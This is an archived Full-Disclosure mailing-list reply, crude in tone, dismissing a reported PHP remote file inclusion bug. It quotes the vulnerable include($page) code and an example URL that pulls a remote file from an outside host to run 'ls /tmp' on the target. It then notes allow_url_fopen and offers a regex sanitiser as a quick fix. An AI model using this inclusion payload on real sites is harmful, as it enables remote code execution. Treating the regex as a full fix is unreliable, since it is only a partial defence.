full-disclosure - VERY HIGH VULNERABILITY DISCLOSURE !!! MASS ROOT POSSIBLE !!! PLEASE BE ATTENTIVE !!!

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <005f01c460d6$709dbcb0$a300a8c0@skylined>
From: m.esco at wp.pl (m.esco@...pl)
Subject: VERY HIGH VULNERABILITY DISCLOSURE !!! MASS ROOT POSSIBLE !!! PLEASE BE ATTENTIVE !!!

Is this cool or not, I can't tell.:P

> Example:
>
> www.fuck-teso.com/index.php?page=whitehats.php
>
> index.php:
> ...
> include($page); // <--- fucking lame
> ...
>
> So, you don't know, but there is a BIGBUG.

No, it is a f*****g lame programmer bug :)

> You can include a remote page, that contains
> php code, that will be executed on the fuck-teso server:
>
www.fuck-teso.com/index.php?page=http://www.ihcteam.com/we-own-teso.txt?cmd=
ls%20/tmp

On most of php servers configuration directive allow_url_fopen
(http://php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen) is set to
off, so you cannot parse remote script to that server. Sometimes it is not,
and there is some possibility of doing the above, of course, only when some
coder have not done his job properly.

Solution to "the problem":
Use your brain while coding, and test your code.

Quick and usefull solution:

include(preg_replace("|[^\w\.]|", "", $page));

Best regards
m.esco